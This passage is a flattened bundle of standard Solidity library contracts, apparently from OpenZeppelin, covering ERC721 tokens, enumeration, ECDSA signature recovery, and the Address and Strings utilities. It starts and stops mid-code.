_owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for 